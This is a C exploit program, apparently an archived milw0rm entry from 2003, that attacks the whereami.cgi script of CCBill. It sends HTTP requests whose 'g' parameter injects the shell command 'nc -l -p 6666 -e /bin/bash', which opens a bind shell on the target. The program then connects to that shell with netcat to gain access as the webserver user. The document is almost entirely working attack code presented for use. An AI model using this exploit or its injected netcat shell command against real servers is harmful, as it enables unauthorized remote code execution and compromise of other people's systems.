CCBILL CGI - 'ccbillx.c' 'whereami.cgi' Remote Code Execution

/*
* =====================================
* CCBILL CGI Remote Exploit for /ccbill/whereami.cgi
* By: Knight420
* 7/07/03
*
* spawns a shell with netcat and attempts to connect
* into the server on port 6666 to gain access of the
* webserver uid
*
* (C) COPYRIGHT Blue Ballz , 2003
* all rights reserved
* =====================================
*
*/

#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <errno.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <netdb.h>


unsigned long int   net_resolve (char *host);
int         net_connect (struct sockaddr_in *cs, char *server,
            unsigned short int port, int sec);

unsigned char ccbill[] =
"GET /ccbill/whereami.cgi?g=nc%20-l%20-p%206666%20-e%20/bin/bash HTTP/1.0\x0d\x0a"
"GET /cgi-bin/ccbill/whereami.cgi?g=nc%20-l%20-p%206666%20-e%20/bin/bash HTTP/1.0\x0d\x0a"
"GET /cgi-bin/whereami.cgi?g=nc%20-l%20-p%206666%20-e%20/bin/bash HTTP/1.0\x0d\x0a";

int
main (int argc, char **argv)
{
    int         socket;
    char  *TARGET     =     "TARGET";
    char            *server;
    unsigned short int  port;
    struct sockaddr_in  sa;

    if (argc != 3) {
        system("clear");
        printf ("[CCBILL CGI Remote Exploit By:Knight420]\n"
        "usage: %s <host> <port>\n");
        exit (EXIT_FAILURE);
    }
    setenv (TARGET, argv[1], 1);
    server = argv[1];
    port = atoi (argv[2]);

    socket = net_connect (&sa, server, port, 35);
    if (socket <= 0) {
        perror ("net_connect");
        exit (EXIT_FAILURE);
    }

    write (socket, ccbill, strlen (ccbill));
    sleep (1);
    close (socket);

    printf ("[CCBILL CGI Remote Exploit By:Knight420]\n");
    printf ("[1] evil data sent.\n", server);
    printf ("[2] connecting to shell.\n", server);
    system("nc ${TARGET} 6666 || echo '[-]Exploit failed!'");
    exit (EXIT_SUCCESS);
}

unsigned long int
net_resolve (char *host)
{
    long        i;
    struct hostent  *he;

    i = inet_addr (host);
    if (i == -1) {
        he = gethostbyname (host);
        if (he == NULL) {
            return (0);
        } else {
            return (*(unsigned long *) he->h_addr);
        }
    }

    return (i);
}


int
net_connect (struct sockaddr_in *cs, char *server,
    unsigned short int port, int sec)
{
    int     n, len, error, flags;
    int     fd;
    struct timeval  tv;
    fd_set      rset, wset;

    /* first allocate a socket */
    cs->sin_family = AF_INET;
    cs->sin_port = htons (port);
    fd = socket (cs->sin_family, SOCK_STREAM, 0);
    if (fd == -1)
        return (-1);

    cs->sin_addr.s_addr = net_resolve (server);
    if (cs->sin_addr.s_addr == 0) {
        close (fd);
        return (-1);
    }

    flags = fcntl (fd, F_GETFL, 0);
    if (flags == -1) {
        close (fd);
        return (-1);
    }
    n = fcntl (fd, F_SETFL, flags | O_NONBLOCK);
    if (n == -1) {
        close (fd);
        return (-1);
    }

    error = 0;

    n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in));
    if (n < 0) {
        if (errno != EINPROGRESS) {
            close (fd);
            return (-1);
        }
    }
    if (n == 0)
        goto done;

    FD_ZERO(&rset);
    FD_ZERO(&wset);
    FD_SET(fd, &rset);
    FD_SET(fd, &wset);
    tv.tv_sec = sec;
    tv.tv_usec = 0;

    n = select(fd + 1, &rset, &wset, NULL, &tv);
    if (n == 0) {
        close(fd);
        errno = ETIMEDOUT;
        return (-1);
    }
    if (n == -1)
        return (-1);

    if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) {
        if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) {
            len = sizeof(error);
            if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) {
                errno = ETIMEDOUT;
                return (-1);
            }
            if (error == 0) {
                goto done;
            } else {
                errno = error;
                return (-1);
            }
        }
    } else
        return (-1);
done:
    n = fcntl(fd, F_SETFL, flags);
    if (n == -1)
        return (-1);

    return (fd);
}

// milw0rm.com [2003-07-10]